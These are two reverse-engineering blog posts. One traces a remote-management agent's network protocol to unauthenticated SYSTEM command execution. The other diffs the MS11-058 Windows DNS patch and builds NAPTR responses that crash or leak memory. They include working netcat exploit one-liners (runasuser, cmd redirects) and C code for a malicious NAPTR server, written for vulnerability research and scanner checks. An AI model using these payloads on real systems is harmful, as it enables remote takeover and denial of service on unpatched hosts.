Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to pay to see them! (A note to vendors - making us pay for your patches or mitigation notes only makes your customers less secure. Please stop doing that!)

This research was done in the course of my work at Tenable Network Security on the Reverse Engineering team. It's an awesome team to work on, and we're always hiring (for this team and others)! If you're interested and you have mad reverse engineering skillz, or any kind of infosec skillz, get in touch with me privately! (rbowes-at-tenable-dot-com if you're interested in applying)

The advisory

I'm not going to talk too much about the advisory, but I'll just say this: it was on ZDI, and basically said that the vulnerability was related to improper validation of credentials allowing the execution of arbitrary shell commands. Pretty vague, but certainly an interesting challenge!

Getting started

One of the obvious places to start is to load up the .exe file into IDA (disassembler) and look at the networking functions. Another - easier - option is load up a debugger (WinDbg) and throw a breakpoint on winsock32!recv or ws2_32!recv, then send data to the program to see where it breaks. That's normally the first thing I try if the protocol is unknown (and sometimes even if it's a known protocol).

By putting a breakpoint on recv, sending it data with netcat, and using the 'gu' command to step out of the receive function, I wound up looking at this code in IDA:

Basically, it calls recv with a length of '1' and stores the results in a local buffer. Then it jumps to this bit of code:

Essentially, it's checking if the value byte it just received is '0' (the null byte, "\0"). If it is, it falls through, does some logging, then returns (not shown).

I decided to call this function "read_from_socket".

Based on this little bit of code, I determined some information about the protocol - it receives a series of bytes, up to some maximum length, that are terminated by a null byte ("\0").

Diving into the protocol

The next thing we want to know is how or where the received data is used. We can trace through the assembly, or we can do it the easy way and use a debugger. So, naturally, I decided to take the easy way out and continued using the debugger. I opted to put a breakpoint at 40507c using Windbg, which is just below the recv code shown above:

0:002> bp 40507c

Then I resume the process in Windbg with the 'g' command (or I can press F5):

0:002> g

Then I use netcat to send 'test\0' (that is, test with a null byte at the end) to the process (note that this isn't the real port):

ron@armitage ~ $ echo -ne "test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 5, rcvd 0
ron@armitage ~ $

And, of course, back in the debugger, it hits our breakpoint. After that, we inspect ecx (which should be the buffer):

0:002> bp 40507c
0:002> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
XXXXXXXX+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 ff a2 00 10 00 00 00  test............
[...]

ecx, as we would expect, points to the buffer we just received ("test\0", followed by whatever). Now, we want to know where that data is used. To do that, we use a break-on-access breakpoint - ba - which will break the program's execution when the data is read, then 'g', for 'go', to continue execution:

0:001> ba r4 00a2ec64
0:001> g

Immediately afterwards, as expected, the breakpoint is hit when the process tries to read the "test\0" string:

Breakpoint 1 hit
eax=00000005 ebx=001576a8 ecx=00000000 edx=00000074 esi=001576a8 edi=00000000
eip=00404074 esp=00a2eb38 ebp=00a2ec8c iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
XXXXXXXX+0x4074:
00404074 85d2            test    edx,edx

It breaks at 404074! That means that line is where the buffer is read from memory (actually, it's read the line before - the break happens after the read, not before it)

Going back to IDA, here's what the code looks like:

I circled the points where the buffer is read in red. First, it reads each character from a local variable that I named 'buffer' - [ebp+ecx+buffer] - into edx as a signed value (when you see a buffer being read with 'movsx' - move sign extend - that often leads to sign-extension vulnerabilities, though not in this case). It checks if it's null - which would mean it's at the end of the string - and exits the loop if it is.

A few lines later, the second time the buffer is read, it's read into ecx. Each character is passed into _isdigit() and, if it's not a digit, it exits the loop with an error message, "Illegal Port number". Hmm! So, now we know that the first part of the protocol is apparently a port number terminated by a null byte. Awesome! But weird? Why are we telling it a port number?

Connect back

If we scroll down in IDA a little bit, and find where the function ends after successfully reading a port number, here's the code we find:

There's some logging here - I love logging! - that says the value we just received is called the 'return socket'. Then a function is called that basically connects back to the client on the port number just received. I'm not going to go any deeper because the code isn't interesting or useful to us. I never did figure out what this second connection is used for, but the program doesn't seem to care if it fails.

So that's the first client-to-server message figured out! To summarize a bit:

• Client connects to server
• Client sends server a null-terminated port number
• Server connects back to client on that port
• The new connection isn't used for anything, as far as I can tell

Moving right along...

Now that we've got the first message all sorted out, we're interested in what the second message is. Rather than trying to navigate the tangled code (which leads through a select() and a few other functions), we're going to generate another packet with netcat and see where it's read, just like last time.

First, we clear our breakpoints and put a new one on 40507c again (the same place as our last breakpoint - right after a packet is read):

0:001> bc *
0:001> bp 0040507c
0:001> g

Then we connect with netcat, this time with a proper connect-back port ("12345\0") and a second string ("test\0"):

ron@armitage ~ $ echo -ne "12345\0test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

The breakpoint we set earlier will fire on the first line again:

Breakpoint 0 hit
eax=00000006 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  31 32 33 34 35 00 00 00-00 ff a2 00 10 00 00 00  12345...........

But we aren't interested in that, and run 'g' to continue:

0:001> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2e7e0 ebp=00a2e7fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 00 00 00 00 00 00 00  test............

Now we've found the string we're interested in!

Once again, we put a breakpoint-on-read on ecx and resume execution. The process will break again when the "test\0" string is read:

0:001> g
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00a2ec64 edx=00000000 esi=001576a8 edi=00000000
eip=00422162 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x22162:
00422162 bafffefe7e      mov     edx,7EFEFEFFh

That is, at 422162. A pro-tip - if you notice the constant 0x7EFEFEFF, or something similar, you're probably in a string manipulation function. And this is no exception - according to IDA, this is strlen(). To get out, we use 'gu':

0:001> gu
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a2ec64 edi=00a3b0b8
eip=00422424 esp=00a2e708 ebp=00a2e710 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
xxxxxxxx+0x22424:
00422424 89448ffc        mov     dword ptr [edi+ecx*4-4],eax ds:0023:00a3b0b8=00000000

Now we're in memcpy! At this point, I started using 'gu' over and over till I finally found something interesting:

0:001> gu
eax=00a3b0b8 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a35078 edi=00000000
eip=0041beb6 esp=00a2e718 ebp=00a2e734 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x1beb6:
0041beb6 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=0041c056 esp=00a2e73c ebp=00a2e74c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x1c056:
0041c056 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=00419d00 esp=00a2e754 ebp=00a2e798 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x19d00:
00419d00 83c40c          add     esp,0Ch
0:001> gu
eax=00a30000 ebx=001576a8 ecx=00000000 edx=00a2e734 esi=00a35078 edi=00000000
eip=00416fe5 esp=00a2e7a0 ebp=00a2e7d4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x16fe5:
00416fe5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=004187f5 esp=00a2e7dc ebp=00a2e7ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x187f5:
004187f5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=0041f5ca esp=00a2e7f4 ebp=00a2e800 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
xxxxxxxx+0x1f5ca:
0041f5ca 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=00404465 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x4465:
00404465 83c408          add     esp,8

Finally, at 404465, I see this code:

"Getting password"! It looks like I ran into some authentication code! If I scroll down further, I find this code:

"Getting command", followed by a call to read_from_socket(), which is the function that basically does recv(). Sweet!

It would take too many screenshots to show it all here, but to summarize the function I'm looking at, it basically takes the following actions:

• Logs "Getting username"
• Reads a string up to a null byte (\0)
• (we broke into the function right here while it was processing that string)
• Logs "Getting password"
• Reads a string up to a null byte (\0)
• Logs "Getting command"
• Reads a string up to a null byte (\0)

There are many ways to proceed from here, but I figured I'd put a breakpoint on the read following the "Getting command" line, and then to send a string with all the requisite fields (a connect-back port, a username, a password, and a command). Knowing from the advisory that the vulnerability was in the authentication, I decided to try sending in garbage values. I didn't try looking at the code where the username/password are verified - I figured I'd just skip that code (it's pretty long).

0:001> bc *
0:001> bp 40465d
0:001> g

Then run the app and use netcat to send a test command:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

And, it breaks!

0:001> bc *
0:001> bp 40465d
0:001> g
Breakpoint 0 hit
eax=00a2edbc ebx=001576a8 ecx=00a2e83c edx=00000032 esi=001576a8 edi=00000000
eip=0040465d esp=00a2e804 ebp=00a2ec8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x465d:
0040465d e84e090000      call    xxxxxxxx+0x4fb0 (00404fb0)

Sweet!

I took a few dead-end paths here, but eventually I decided that, knowing that 'mycommand' is the command it's planning to run, I'd put a breakpoint on CreateProcessA, send the 'mycommand' string again, and see what happens:

0:001> bc *
0:001> bp kernel32!CreateProcessA
0:001> bp kernel32!CreateProcessW
0:001> g

Then the netcat command again:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

Then, the breakpoint fires:

Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=77e424b9 esp=00a29788 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!CreateProcessA:
77e424b9 8bff            mov     edi,edi

Sure enough, it breaks! I immediately run 'gu' ('go up') to exit the CreateProcessA function:

0:001> gu
eax=00000000 ebx=001576a8 ecx=77e722e9 edx=00000000 esi=00000029 edi=00000000
eip=0040b964 esp=00a297b4 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb964:
0040b964 898558bdffff    mov     dword ptr [ebp-42A8h],eax ss:0023:00a29cb8=7ffdd000

And find myself at 40b964. Loading up that address in IDA, here's what it looks like (the call is circled in red):

I'd like to verify the command that's being sent to CreateProcessA, to see if it's something I can manipulate easily. So I put a breakpoint at 40b95e:

0:001> bc *
0:001> bp 40b95e
0:001> g

And send the usual command:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

When it breaks, I dump the memory at ecx - the register that stores the command:

Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=0040b95e esp=00a2978c ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb95e:
0040b95e ff15cc004300    call    dword ptr [xxxxxxxx+0x300cc (004300cc)] ds:0023:004300cc={kernel32!CreateProcessA (77e424b9)}
0:001> db ecx
00a2db48  43 3a 5c 50 52 4f 47 52-41 7e 31 5c xx xx xx xx  C:\PROGRA~1\XXXX
00a2db58  xx xx 7e 31 5c xx xx xx-xx 5c 41 67 65 6e 74 5c  XX~1\XXXX\Agent\
00a2db68  6d 79 63 6f 6d 6d 61 6e-64 20 00 00 00 00 00 00  mycommand ......

Aha! It's prepending the path to the program's folder to our command and passing it to CreateProcessA! The natural thing to do is to use '../' to escape this folder and run something else, but that doesn't work. I never actually figured out why - and it seemed to kinda work - but it was doing some sort of filtering that would give me bad results. Eventually, I had an idea - which programs are stored in that folder anyways?

execute.exe? hide.exe? runasuser.exe? Could it BE that simple?

I fire up netcat again:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0runasuser calc\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 35, rcvd 1

And check the process list:

And ho-ly crap! We have command execution! Unauthenticated! As SYSTEM!! Game over, I win!

Writing the check

But wait, there's no output on netcat. No indication at all that this worked, in fact. Crap! Wut do?

It occurred to me that this particular application also has a Web server built in. Can I write to files using this command execution? I try:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0runasuser cmd /c \"ipconfig > c:\\myfile\"\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 60, rcvd 1

And check the file:

Yup, works like a charm! (Don't mind the bad ip address - I took some of these screenshots at different times than others)

I change the code a little bit to point to the Web root and give it a go, and sure enough it works. With that, I can now write a proper check for Nessus. And with that, I'm done.

Summary

So, the TL;DR version of this is:

• Connect to the host
• Send it a port number, following by a null byte ("\0") - the host will try to connect back on that port
• Send a username and a password, each terminated by a null byte - these will be ignored
• Send a command using the "runasuser.exe" program - included
• Profit!

Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - ms11-058 - was rated critical and potentially exploitable. However, according to Microsoft, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree.

Although I didn't find a way to exploit this vulnerability, there's more to this vulnerability than meets the eye - it's fairly complicated, and there are a number of places that I suspect an experienced exploit developer might find a way to take control.

In this post, I'm going to go over step by step how I reverse engineered this patch, figured out how this could be attacked, and why I don't believe the vulnerability is as simple as the reports seem to indicate.

Oh, and before I forget, the Nessus Security Scanner from Tenable Network Security (my employer) has both remote and local checks for this vulnerability, so if you want to check your network go run Nessus now!

The patch

The patch for ms11-058 actually covers two vulnerabilities:

1. An uninitialized-memory denial-of-service vulnerability that affects Windows Server 2003 and Windows Server 2008
2. A heap overflow in NAPTR records that affects Windows Server 2008 only

We're only interested in the second vulnerability. I haven't researched the first at all.

Thankfully, the Microsoft writeup went into decent detail on how to exploit this issue. The vulnerability is actually triggered when a host parses a response NAPTR packet, which means that a vulnerable host has to make a request against a malicious server. Fortunately, due to the nature of the DNS protocol, that isn't difficult. For more details, check out that Microsoft article or read up on DNS. But, suffice it to say, we can easily make a server into processing our records!

NAPTR records

Before I get going, let's stop for a minute and look at NAPTR records.

NAPTR (or Naming Authority Pointer) records are designed for some sorta service discovery. They're defined in RFC2915, which is fairly short for a RFC. But I don't recommend reading it - I did, and it's pretty boring. In spite of my reading, I still don't understand exactly what NAPTR records really do. They seem to be used frequently for SIP and related protocols, though.

What matters is, the format of a NAPTR resource record is:

• (domain-name) question
• (int16) record type
• (int16) record class
• (int32) time to live
• (int16) length of NAPTR record (the rest of this structure)
• (int16) order
• (int16) preference
• (character-string) flags
• (character-string) service
• (character-string) regex
• (domain-name) replacement

(A resource record, for those of you who aren't familiar with DNS, is part of a DNS packet. A dns "answer" packet contains one or more resource records, and each resource record has a type - A, AAAA, CNAME, MX, NAPTR, etc. Read up on DNS for more information.)

The first four fields in the NAPTR record are common to all resource records in DNS. Starting at the length, the rest are specific to NAPTR and the last four are the interesting ones. The (character-string) and (domain-name) types are defined in RFC1035, which I don't recommend reading either. The important part is:

• A (character string) is a one-byte length followed by up to 255 characters - essentially, a length-prefixed string
• A (domain name) is a series of character strings, terminated by an empty character string (simply a length of \x00 and no data - effectively a null terminator)

Remember those definitions - they're going to be important.

You will need...

All right, if you plan to follow along, you're going to definitely need the vulnerable version of dns.exe. Grab c:\windows\system32\dns.exe off an unpatched Windows Server 2008 x86 (32-bit) host. If you want to take a look at the patched version, grab the executable from a patched host. I usually name them something obvious:

Right-click on the files and select 'properties' and pick the 'details' tab to ensure you're working from the same version as me:

You will also need IDA, Patchdiff2, and Windbg. And a Windows Server 2008 32-bit box with DNS installed and recursion enabled. If you want to get all that going, you're on your own. :)

You'll also need a NAPTR server. You can use my nbtool program for that - see below for instructions.

Disassemble

Load up both files in their own instances of IDA, hit 'Ok' or 'Next' until it disassembles them, and press 'space' when the graph view comes up to go back to the list view. Then close and save the patched one. In the vulnerable version, run patchdiff2:

And pick the .idb file belonging to the patched version of dns.exe. After processing, you should get output something like this:

There are two things to note here. First, at the bottom, in the status pane, you get a listing of the functions that are "identical", matched, and unmatched. Identical functions are ones that patchdiff2 has decided are unchanged (even when that's not true, as we'll see shortly); matched functions are ones that patchdiff2 thinks are the same function in both files, but have changed in a significant way; and unmatched functions are ones that patchdiff2 can't find a match for.

You'll see that in ms11-058, it found 1611 identical functions and that's it. Oops?

If you take a look at the top half of the image, it's a listing of the identical functions. I sorted it by the CRC column, which prints a '+' when the CRC of the patched and unpatched versions of a function differ. And look at that - there are four not-so-identical functions!

The obvious function in this bunch to take a closer look at is NaptrWireRead(). Why? Because we know the vulnerability is in NAPTR records, so it's a sensible choice!

At this point, I closed IDA and re-opened the .exe files rather than leaving patchdiff2 running.

So, go ahead now and bring up NaptrWireRead() in both the unpatched and patched versions. You can use shift-F4 to bring up the 'Names' window and find it there. It should look like this:

Scroll around and see you can see where these functions vary. It's not as easy as you'd think! There's only one line different, and I actually missed it the first time:

Line 0x01038b38 and 0x01038bd8 are different! One uses movsx and one uses movzx. Hmm! What's that mean?

movsx means "move this byte value into this dword value, and extend the sign". movzx means "move this byte value into this dword value, and ignore the sign". Basically, a signed vs unsigned value. For the bytes 0x00 to 0x7F, this doesn't matter. For 0x80 to 0xFF, it matters a lot. That can be demonstrated by the following operation:

movsx edi, 0x7F
movsx esi, 0x80

movzx edi, 0x7F
movzx esi, 0x80

In the first part, you'll end up with edi = 0x0000007F, as expected, but esi will be 0xFFFFFF80. In the second part, esi will be 0x0000007F and edi will be 0x00000080. Why? For more information, look up "two's complement" on Wikipedia. But the simple answer is, 0x80 is the signed value of -128 and the unsigned value of 128. 0xFFFFFF80 is also -128 (signed), and 0x00000080 is 128 (unsigned). So if 0x80 is signed, it takes the 32-bit signed value (-128 = 0xFFFFFF80); if 0x80 is unsigned, it takes the 32-bit unsigned value (128 = 0x00000080). Hopefully that makes a little sense!

Setting up and testing NAPTR

Moving on, we want to do some testing. I set up a fake NAPTR server and I set up the Windows Server to recurse to my fake NAPTR server. If you want to do that yourself, one way is grab the sourcecode for nbtool and apply this patch. You'll have to fiddle in the sourcecode, though, and it may be a little tricky.

You can also use any DNS server that allows a NAPTR record. We aren't actually sending anything broken, so any DNS server you know how to set up should work just fine.

Basically, I use the following code to build the NAPTR resource record:

char *flags   = "flags";
char *service  = "service";
char *regex   = "this is a really really long but still technically valid regex";
char *replace = "this.is.the.replacement.com";

answer = buffer_create(BO_BIG_ENDIAN);
buffer_add_dns_name(answer, this_question.name); /* Question. */

buffer_add_int16(answer, DNS_TYPE_NAPTR); /* Type. */
buffer_add_int16(answer, this_question.class); /* Class. */
buffer_add_int32(answer, settings->TTL);
buffer_add_int16(answer, 2 +                   /* Length. */
                         2 +
                         1 + strlen(flags) +
                         1 + strlen(service) +
                         1 + strlen(regex) +
                         2 + strlen(replace));

buffer_add_int16(answer, 0x0064); /* Order. */
buffer_add_int16(answer, 0x000b); /* Preference. */

buffer_add_int8(answer, strlen(flags)); /* Flags. */
buffer_add_string(answer, flags);

buffer_add_int8(answer, strlen(service)); /* Service. */
buffer_add_string(answer, service);

buffer_add_int8(answer, strlen(regex)); /* Regex. */
buffer_add_string(answer, regex);

buffer_add_dns_name(answer, replace);
answer_string = buffer_create_string_and_destroy(answer, &answer_length);

dns_add_answer_RAW(response, answer_string, answer_length);

It's not pretty, but it did the trick. After that, I compile it and run it. At this point, it'll simply start a server that waits for NAPTR requests and respond with a static packet no matter what the request was.

Debugger

Now, we fire up Windbg. If you ever use Windbg for debugging, make sure you check out Windbg.info - it's an amazing resource.

When Windbg loads, we hit F6 (or go to file->attach to process). We find dns.exe in the list and select it:

Once that's fired up, I run !peb to get the base address of the process (there are, of course, other ways to do this). The command should look like this:

Back in IDA, rebase the program by using edit->segments->rebase program, and set the image base address to 0x00ea0000:

This way, the addresses in Windbg and IDA will match up properly. Now, go back to that movsx we were looking at earlier - it should now be at 0x00ed8b38 in the vulnerable version. Throw a breakpoint on that address in Windbg with 'bp' and start the process with 'g' (or press F5):

  > bp ed8b38
  > g

Then perform a lookup on the target server (in my case I'm doing this from a Linux host using the dig command, and my vulnerable DNS server is at 192.168.1.104):

  $ dig @192.168.1.104 -t NAPTR +time=60 test.com

(the +time=60 ensures that it doesn't time out right away)

In Windbg, the breakpoint should fire:

Now, recall that the vulnerable command is this:

  movsx edi, byte ptr [ebx]

So we'd naturally like to find out what's in ebx. We do this with the windbg command 'db ebx' (meaning display bytes at ebx):

Beautiful! ebx points to the length byte for 'flags'. In our case, we set the flags to the string 'flags', which is represented as the character string "\x05flags" (where "\x05" is the byte '5', the string's size). If we hit 'g' or press 'F5' again, it'll break a second time. This time, if you run 'db ebx' you'll see it sitting on "\x07service". If you hit F5 again, not surprisingly, you'll end up on "\x3ethis is a really really long ...". And finally, if you hit F5 one more time, the program will keep running and, if you did this in under 60 seconds, dig will get its response.

So what have we learned? The vulnerable call to movsx happens three times - on the one-byte size values of flags, service, and regex.

Let's break something!

All right, now that we know what's going on, this should be pretty easy to break! Yay! Let's try sending it a string that's over 0x80 bytes long:

        char *flags   = "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA";
        char *service  = "service";
        char *regex   = "regex";
        char *replace = "my.test.com";

Then compile it, start the service again, and send our NAPTR lookup with dig, exactly as before. Don't forget to clear your breakpoints in Windbg, too, using 'bc *' (breakpoint clear, all).

After the lookup, the dns.exe service should crash:

Woohoo! It crashed in a 'rep movs' call, which is in memcpy(). No surprise there, since we were expecting to pass a huge integer (0x90 became 0xFFFFFF90, which is around 4.2 billion) to a memcpy function.

If we check out edi (the destination of the copy), we'll find it's unallocated memory, which is what caused the crash. If we check out ecx, the size of the copy, we'll see that it's 0x3fffff6e - way too big:

Restart the DNS service, re-attach the debugger, and let's move on to something interesting...

The good part

Now we can crash the process. Kinda cool, but whatever. This is as far as others investigating this issue seemed to go. But, they missed something very important:

See there? Line 0x00ed8b3b? lea eax, [edi + 1]. edi is the size, and eax is the value passed to memcpy. See what's happening? It's adding 1 to the size! That means that if we pass a size of 0xFF ("-1" represented as one byte), it'll get extended to 0xFFFFFFFF ("-1" represented as 4 bytes), and then, on that line, eax becomes -1 + 1, or 0. Then the memcpy copies 0 bytes.

That's great, but what's that mean?

Let's reconfigure out NAPTR server again to return exactly 0xFF bytes:

        char *flags   = "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ";
        char *service  = "service";
        char *regex   = "regex";
        char *replace = "my.test.com";

Then run it as before. This time, when we do our dig, the server doesn't crash! Instead, we get a weird response:

We get an answer back, but not a valid NAPTR answer! The answer has the flags of "\x03\x02my\x04test\x03com", but no service, regex, or replace. Weird!

Now, at this point, we have enough for a vulnerability check, but I wanted to go further, and to find out how exactly this was returning such a weird result (and, more importantly, whether we can assume that it'll be consistent)!

So, let's take a look at the vulnerable code again. Go back to NaptrPtrRead() and find the vulnerable movsx:

You can quickly see that this is a simple loop. var_10C is a counter set to 3, the size at [ebx] (the length of the flags) is read, that many bytes is copied from ebx (the incoming packet) to esi (the place where the answer is stored). Then the counter is decremented, and both the source and destination are moved forward by that many bytes plus one (for the length), and it repeats twice - once for service, and once for regex.

If we set the length of flags to 0xFF, then 0 bytes are copied and the source and destination don't change. So esi, the answer, remains an empty buffer.

Just below that, you'll see this:

The source and destination are the same as before, and they call a function called _Name_CopyCountName(). That's actually a fairly complicated function, and I didn't reverse it much. I just observed how it worked. One thing that was obvious is that it read the fourth and final string in the NAPTR record - the one called "replacement", which is a domain name rather than a length-prefixed string like the rest.

Essentially, it'd set esi to a string that looked like this:

the 0x0d at the start is obviously the length of the string; the 0x03 following is the number of fields coming ("my", "test", and "com" = 3 fields), and the rest of the string is the domain name formatted as it usually is - the size of each field followed by the field.

Another interesting note is, this is the exact value that the DNS request got earlier (minus the 0x0d at the start) - "\x03\x02my\x04test\x03com"!

At this point, I understood exactly what was happening. As we've seen, there are supposed to be four strings - flags, service, regex, and replacement. The first three are (character-string) values, and are all read the same way. The last one is a (domain-name) value, and is read using _Name_CopyCountName().

When we send a length of 0xFF, the first three strings don't get read - the buffer stays blank - and only the domain name is processed properly. Then, later, when the strings are sent back to the server, it expects the 'flags' value to be the first value in the buffer, but, because it read 0 bytes for flags, it skips flags and reads the 'replacement' value - the (domain-name) - as if it were flags. That gets returned and it reads the 'service', the 'regex', and the 'replacement' fields - all of which are blank.

The response is sent to the server with the 'flags' value set to the 'replacement' and everything else set to blank. Done?

The plot thickens

I thought I understood this vulnerability completely now. It was interesting, fairly trivial to check for, and impossible to exploit (beyond a denial of service). The perfect vulnerability! I wrote the Nessus check and tested it again Windows 2008 x86, Windows 2008 x64, and Windows 2008 R2 x64. Against Windows 2008 x64, the result was different - it was "\x03\x02my\x04test\x03com\x00\x00\x00\x00". That was weird. I tried changing the domain name from "my.test.com" to "my.test.com.a". It returned the string I expected. Then I set it to "my.test.com.a.b.c", and it returned a big block of memory including disk information (the drive c: label). Wtf? I tried a few more domain names, and none of them, including "my.test.com.a.b.c", returned anything unusual. I couldn't replicate it! Now I *knew* that something was up!

To demonstrate this reliably, I can set the 'replacement' value of the response to 'my.test.com.aaaaaaaaaaaaa' and get the proper response:

And then set it to 'my.test.com.aaaaaaa' and get a weird response:

Rather than just the simple string we usually get back, we got the simple string, the 7 'a' bytes that we added, then a null, then 11 more 'a' values and 0x59 "\x00" bytes. So, that's proof that something strange is happening, but what?

The investigation

If you head back to the NaprWireRead function and go to line 0xed8b61, you'll see the call to _Name_CopyCountName():

That's where the string is copied into the buffer - esi. What we want to do is track down where that value is read back out of the buffer, because there's obviously something gone amiss there. So, we put a breakpoint at 0xed8b66 - the line after the name is copied to memory - using the 'bp' command in Windbg:

Then we run it, and make a NAPTR request. It doesn't matter what the request is, this time - we just want to find out where the message is read. When it breaks, as shown above, we check what the value at esi is. As expected, it's the encoded 'replacement' string - the length, the number of fields, and the replacement (domain-name) value.

We run 'ba r4 esi' - this sets a breakpoint on access when esi (or the three bytes after esi) are read. Then we use 'g' or 'F5' to start the process once again.

Immediately, it'll break again - this time, at 0xed5935 - in NaptrWireWrite()! Since the packet is read in NaptrWireRead(), it makes sense that it's sent back out in NaptrWireWrite. Awesome!

The code powering NaptrWireWrite() is actually really simple. This is all the relevant code (don't worry too much about the colours - I just like colouring code as I figure things out :) ):

